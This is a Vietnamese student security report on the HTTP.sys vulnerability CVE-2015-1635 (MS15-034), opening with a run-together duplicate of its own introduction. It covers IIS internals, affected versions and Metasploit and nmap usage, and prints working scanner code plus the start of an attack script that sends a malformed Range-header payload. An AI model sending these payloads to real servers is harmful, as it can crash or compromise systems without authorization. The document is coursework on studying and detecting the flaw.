PHẦN I:GIỚI THIỆU1.1Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sysA)Giới thiệu về IIS:IIS là viết tắt của từ (Internet Information Services), được đính kèm với các phiên bản của Windows. IIS là các dịch vụ dành cho máy chủ chạy trên nền hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server…Nó có thể được sử dụng để xuất bản nội dung của các trang Web lên InternetIntranet bằng việc sử dụng “Phương thức chuyển giao siêu văn bản“ – Hypertext Transport Protocol (HTTP).Như vậy, sau khi bạn thiết kế xong các trang Web của mình, nếu bạn muốn đưa chúng lên mạng để mọi người có thể truy cập và xem chúng thì bạn phải nhờ đến một Web Server, ở đây là IIS. Nếu không thì trang Web của bạn chỉ có thể được xem trên chính máy của bạn hoặc thông qua việc chia sẻ tệp (file sharing) như các tệp bất kỳ trong mạng nội bộ mà thôi.Hiện tại IIS đã có các phiên bản 3.0, 4.0, 5.1, 6.0, 7.0, 7.5. Nói chung cách cài đặt không có gì khó và khác nhau lắm giữa các version. Các điểm cải tiến ở IIS 7 tập trung quanh vấn đề sử dụng mô hình thiết kế modul, chức năng quản lý dễ dàng, và nâng cao tính bảo mật.Phiên bản IIS 7 bao gồm:•Windows Process Activation Service (WAS): thiết lập trang sử dụng giao thức HTTP và HTTPS•Web server engine: thêm hoặc xóa các module•Integrated requestprocessing: xử lý request từ IIS đến ASP.NETB)Hoạt động của IISMột trong những dịch vụ phổ biến nhất của IIS là dịch vụ WWW (World Wide Web), nói tắt là dịch vụ Web.Dịch vụ Web sử dụng giao thức HTTP để tiếp nhận yêu cầu (Requests) của trình duyệt Web (Web browser) dưới dạng một địa chỉ URL (Uniform Resource Locator) của một trang Web và IIS phản hồi lại các yêu cầu bằng cách gửi về cho Web browser nội dung của trang Web tương ứng. oHTTP.sys nhận request mà client gửi lênoHTTP.sys liên lạc với WAS để nhận được những thông tin cấu hìnhoWAS yêu cầu thông tin cấu hình từ applicationHost.configoWWW service nhận thông tin cấu hìnhoWWW service sử dụng thông tin cấu hình để config HTTP.sysoWAS khởi động một worker processor trong application pool để xử lý requestoWorker processor xử lý request và gửi response cho HTTP.sysoHTTP.sys gửi response cho client.1.2Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack)HTTP.sys là một subsystem trong hệ thống của Windows, chạy dưới chế độ nhân. HTTP.sys lắng nghe request trong network, chuyển request cho IIS xử lý, sau đó gửi response cho trình duyệt của client. Lới ích từ việc sử dụng HTTP.sys:oKernel mode caching: request và response được xử lý mà không cần chuyển qua chế độ người dùngoKernel mode request queuing: Thiết lập hàng đợi cho những requests, giúp IIS không bị quá tải khi xử lýoCác request sẽ được tiền xử lý và kiểm tra những vấn đề an ninh cơ bản.1.3Lỗ hổng CVE20151635a, Thông tin tin cơ bản:Lỗ hổng trong HTTP.sys có thể cho phép Mã Thực hiện từ xa được công bố vào tháng 4 năm 2015 và được Microsoft đánh giá là lỗ hổng cực kỳ nghiêm trọng.HTTP.sys tồn tại một lỗ hổng bảo mật khi nó xử lý không đúng cách một request mà attacker gửi lên. Một khi đã thành công trong việc khai thác lỗi, attacker có thể thực thi code trên máy tính của nạn nhânb, Những hệ thống bị ảnh hưởng bởi lỗ hổng HTTP.sysLỗ hổng bảo mật này được xếp hạng nghiêm trọng cho tất cả các phiên bản của Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, và Windows Server 2012 R2. Bảng đánh giá và xác định
Trang 1HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN
BÁO CÁO MÔN HỌC
AN TOÀN HỆ ĐIỀU HÀNH
ĐỀ TÀI:
Vulnerability in HTTP.sys Could Allow Remote Code
Execution (CVE-2015-1635)
Hà Nội, 2016
Trang 22
MỤC LỤC
PHẦN I: GIỚI THIỆU 3
1.1 Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys 3
1.2 Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack) 5
1.3 Lỗ hổng CVE-2015-1635 5
PHẦN II KHAI THÁC & TẤN CÔNG 8
2.1 Sử dụng phần mềm Metasploit để tìm kiếm thông tin 8
2.2 Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu 9
Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi 12
2.3 Tấn công 13
PHẦN III Phòng chống 15
PHẦN IV Demo 16
Trang 33
PHẦN I: GIỚI THIỆU
1.1 Giới thiệu về cấu trúc của IIS và bộ đệm HTTP.sys
A) Giới thiệu về IIS:
IIS là viết tắt của từ (Internet Information Services), được đính kèm với các phiên bản của Windows IIS là các dịch vụ dành cho máy chủ chạy trên nền
hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server…
Nó có thể được sử dụng để xuất bản nội dung của các trang Web lên Internet/Intranet bằng việc sử dụng “Phương thức chuyển giao siêu văn bản“ – Hypertext Transport Protocol (HTTP)
Như vậy, sau khi bạn thiết kế xong các trang Web của mình, nếu bạn muốn đưa chúng lên mạng để mọi người có thể truy cập và xem chúng thì bạn phải nhờ đến một Web Server, ở đây là IIS
Nếu không thì trang Web của bạn chỉ có thể được xem trên chính máy của bạn hoặc thông qua việc chia sẻ tệp (file sharing) như các tệp bất kỳ trong mạng nội bộ mà thôi
Hiện tại IIS đã có các phiên bản 3.0, 4.0, 5.1, 6.0, 7.0, 7.5 Nói chung cách cài đặt không có gì khó và khác nhau lắm giữa các version
Các điểm cải tiến ở IIS 7 tập trung quanh vấn đề sử dụng mô hình thiết kế modul, chức năng quản lý dễ dàng, và nâng cao tính bảo mật
Phiên bản IIS 7 bao gồm:
Windows Process Activation Service (WAS): thiết lập trang sử
dụng giao thức HTTP và HTTPS
Web server engine: thêm hoặc xóa các module
Integrated request-processing: xử lý request từ IIS đến ASP.NET
B) Hoạt động của IIS
Một trong những dịch vụ phổ biến nhất của IIS là dịch vụ WWW (World Wide Web), nói tắt là dịch vụ Web
Dịch vụ Web sử dụng giao thức HTTP để tiếp nhận yêu cầu (Requests) của trình duyệt Web (Web browser) dưới dạng một địa chỉ URL (Uniform
Trang 44
Resource Locator) của một trang Web và IIS phản hồi lại các yêu cầu bằng cách gửi về cho Web browser nội dung của trang Web tương ứng
o HTTP.sys nhận request mà client gửi lên
o HTTP.sys liên lạc với WAS để nhận được những thông tin cấu hình
o WAS yêu cầu thông tin cấu hình từ applicationHost.config
o WWW service nhận thông tin cấu hình
o WWW service sử dụng thông tin cấu hình để config HTTP.sys
o WAS khởi động một worker processor trong application pool để xử
lý request
o Worker processor xử lý request và gửi response cho HTTP.sys
o HTTP.sys gửi response cho client
Trang 55
1.2 Giới thiệu bộ đệm HTTP.sys (Hypertext transfer protocal stack)
HTTP.sys là một subsystem trong hệ thống của Windows, chạy dưới chế
độ nhân HTTP.sys lắng nghe request trong network, chuyển request cho IIS
xử lý, sau đó gửi response cho trình duyệt của client
Lới ích từ việc sử dụng HTTP.sys:
o Kernel mode caching: request và response được xử lý mà không cần chuyển qua chế độ người dùng
o Kernel mode request queuing: Thiết lập hàng đợi cho những
requests, giúp IIS không bị quá tải khi xử lý
o Các request sẽ được tiền xử lý và kiểm tra những vấn đề an ninh cơ bản
1.3 Lỗ hổng CVE-2015-1635
a, Thông tin tin cơ bản:
Lỗ hổng trong HTTP.sys có thể cho phép Mã Thực hiện từ xa được công
bố vào tháng 4 năm 2015 và được Microsoft đánh giá là lỗ hổng cực kỳ nghiêm trọng
HTTP.sys tồn tại một lỗ hổng bảo mật khi nó xử lý không đúng cách một request mà attacker gửi lên Một khi đã thành công trong việc khai thác lỗi, attacker có thể thực thi code trên máy tính của nạn nhân
b, Những hệ thống bị ảnh hưởng bởi lỗ hổng HTTP.sys
Lỗ hổng bảo mật này được xếp hạng nghiêm trọng cho tất cả các phiên bản của Windows 7, Windows Server 2008 R2, Windows 8, Windows Server
2012, Windows 8.1, và Windows Server 2012 R2 Bảng đánh giá và xác định mức độ ảnh hưởng nghiêm trọng:
Vulnerability Severity Rating and Maximum Security Impact by Affected Software
Affected Software
HTTP.sys Remote Code Execution Vulnerability -
CVE-2015-1635
Aggregate Severity Rating
Trang 66
Windows 7
Windows 7 for 32-bit Systems
Service Pack 1
(3042553)
Critical Remote Code Execution Critical
Windows 7 for x64-based
Systems Service Pack 1
3042553
Critical Remote Code Execution Critical
Windows Server 2008 R2
Windows Server 2008 R2 for
Itanium-Based Systems Service Pack 1
(3042553)
Critical Remote Code Execution Critical
Windows Server 2008 R2 for
x64-based Systems Service Pack 1
(3042553)
Critical Remote Code Execution Critical
Windows 8 and Windows 8.1
Windows 8 for 32-bit Systems
(3042553)
Critical Remote Code Execution Critical
Windows 8 for x64-based
Systems
(3042553)
Critical Remote Code Execution Critical
Windows Server 2012 and Windows Server 2012 R2
Windows Server 2012
(3042553)
Critical Remote Code Execution Critical
Windows Server 2012 R2
(3042553)
Critical Remote Code Execution Critical Server Core installation option
Windows Server 2012 (Server Critical Critical
Trang 77
Core installation)
(3042553)
Remote Code Execution
Windows Server 2012 R2
(Server Core installation)
(3042553)
Critical Remote Code Execution Critical
Trang 88
PHẦN II KHAI THÁC & TẤN CÔNG
2.1 Sử dụng phần mềm Metasploit để tìm kiếm thông tin
Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn
đề linỗ hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công mạng Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS Chúng ta có thể download chương trình tại www.metasploit.com
Metasploit hỗ trợ nhiều giao diện với người dùng:
– Console interface: dùng lệnh msfconsole Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
– Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web
– Command line interface: dùng msfcli
Metasploit Enviroment:
– Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits
– Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset, enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save Môi trường đó sẽ được lưu trong /msf/config và sẽ được load trở lại khi user interface được thực hiện
Sử dụng Metasploit Framework:
- Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác
Show exploits: xem các module exploit mà framework có hỗ trợ
Use exploit_name: chọn module exploit
Info exploit_name: xem thông tin về module exploit
Trang 99
Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các module trên www.metasploit.com hoặc qua lệnh msfupdate hoặc svnupdat/opt/metasploit/msf3/
a, Cấu hình Module exploit đã chọn:
show options: Xác định những options nào cần cấu hình set: cấu hình cho những option của module đó
Một vài module còn có những advanced options, chúng ta có thể xem bằng cách gõ dòng lệnh show advanceds
b, Verify những options vừa cấu hình:
check: kiểm tra xem những option đã được set chính xác chưa
c, Lựa chọn target:
show targets: những target được cung cấp bởi module đó set: xác định target nào
d, Lựa chọn payload:
show payloads: liệt kê ra những payload của module exploit hiện tại info payload_name: xem thông tin chi tiết về payload đó
set payload payload_name: xác định payload module name Sau khi lựa chọn payload nào, dùng lệnh show options để xem những options của payload
đó
show advanced: xem những advanced options của payload đó
e, Thực thi exploit:
exploit: lệnh dùng để thực thi payload code Payload sau đó sẽ cung cấp cho chúng ta những thông tin về hệ thống được khai thác
2.2 Kiểm tra cổng dịch vụ đang mở trên máy mục tiêu
Nmap (Network Mapper) là một công cụ mã nguồn mở miễn phí nhằm phát hiện mạng và kiểm toán an ninh Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được cài đặt sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên mạng, các dịch vụ (tên ứng dụng và phiên bản)
mà host đó đang cung cấp, hệ điều hành gì (và các phiên bản hệ điều hành) mà
họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử dụng, và nhiều
Trang 1010
đặc điểm khác Nmap chạy được trên tất cả các hệ điều hành, và các gói nhị phân chính thức có sẵn cho Linux, Windows, và Mac OSX
Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công
cụ quét lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác truy cập vào hệ thống Một trong số các công cụ quét lỗi này là Nessus
Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ thống, Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files, thay đổi cấu trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/ backdoor …
Sử dụng nmap:
Sử dụng lệnh sau để kiểm tra: Nmap –p80 http-vuln-cve2015-1635.nse [IP]
Sử dụng nmap chạy file http-vuln-cve2015-1635.nse để kiểm tra xem
hệ thống có tồn tại lỗ hổng CVE-2015-1635 hay không:
Source file http-vuln-cve2015-1635.nse:
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
description = [[Checks for a remote code execution vulnerability (MS15-034)
in Microsoft Windows systems (CVE2015-2015-1635)
The script sends a specially crafted HTTP request with no impact on the system to detect this vulnerability
The affected versions are Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1,
and Windows Server 2012 R2
References:
* https://technet.microsoft.com/library/security/MS15-034
]]
-
@usage nmap -sV script vuln <target>
@usage nmap -p80 script http-vuln-cve2015-1635.nse <target>
@usage nmap -sV script http-vuln-cve2015-1635 script-args uri='/anotheruri/' <target>
@output
PORT STATE SERVICE REASON
Trang 1111
80/tcp open http syn-ack
| http-vuln-cve2015-1635:
| VULNERABLE:
| Remote Code Execution in HTTP.sys (MS15-034)
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2015-1635
| A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is
| caused when HTTP.sys improperly parses specially crafted HTTP requests An attacker who
| successfully exploited this vulnerability could execute arbitrary code in the context of the System account
|
| Disclosure date: 2015-04-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms15-034.aspx |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
@args http-vuln-cve2015-1635.uri URI to use in request Default: /
-
author = {"Kl0nEz", "Paulino <calderon()websec.mx>"}
license = "Same as Nmap See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
portrule = shortport.http
local VULNERABLE = "Requested Range Not Satisfiable"
local PATCHED = "The request has an invalid header name"
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME ".uri") or "/"
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Remote Code Execution in HTTP.sys (MS15-034)',
state = vulns.STATE.NOT_VULN,
description = [[
A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is
caused when HTTP.sys improperly parses specially crafted HTTP requests An attacker who
successfully exploited this vulnerability could execute arbitrary code in the context of the System account
]],
IDS = {CVE = 'CVE-2015-1635'},
references = {
'https://technet.microsoft.com/en-us/library/security/ms15-034.aspx' },
Trang 1212
dates = {
disclosure = {year = '2015', month = '04', day = '14'},
}
}
local options = {header={}}
options['header']['Host'] = stdnse.generate_random_string(8)
options['header']['Range'] = "bytes=0-18446744073709551615"
local response = http.get(host, port, uri, options)
if response.status and response.body then
if response.status == 416 and string.find(response.body, VULNERABLE) ~= nil
and string.find(response.header["server"], "Microsoft") ~= nil then
vuln.state = vulns.STATE.VULN
end
if response.body and string.find(response.body, PATCHED) ~= nil then
stdnse.debug2("System is patched!")
vuln.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln)
end
Sử dụng Python
Sử dụng httpSYS.py để quét và phát hiện máy bị lỗi Source code:
import socket
import random
import sys
if len(sys.argv) <= 1:
sys.exit('Give me an IP')
ipAddr = sys.argv[1]
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff +
"\r\n\r\n"
print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
Trang 1313
if "Microsoft" not in boringResp:
print "[*] Not IIS"
exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
print "[*] Looks Patched"
else:
print "[*] Unexpected response, cannot discern patch status"
2.3 Tấn công
Sau khi xác định máy tính nạn nhân tồn tại lỗ hổng http.sys cho phép thực thi mã từ xa, tiến hành thực hiện tấn công bằng cách gửi một yêu cầu HTTP tới
hệ thống bị ảnh hưởng:
Sử dụng Python:
Sử dụng python chạy file Check.py:
Source file:
#Tested on Win Srv 2012R2
import socket,sys
if len(sys.argv)<=1:
sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"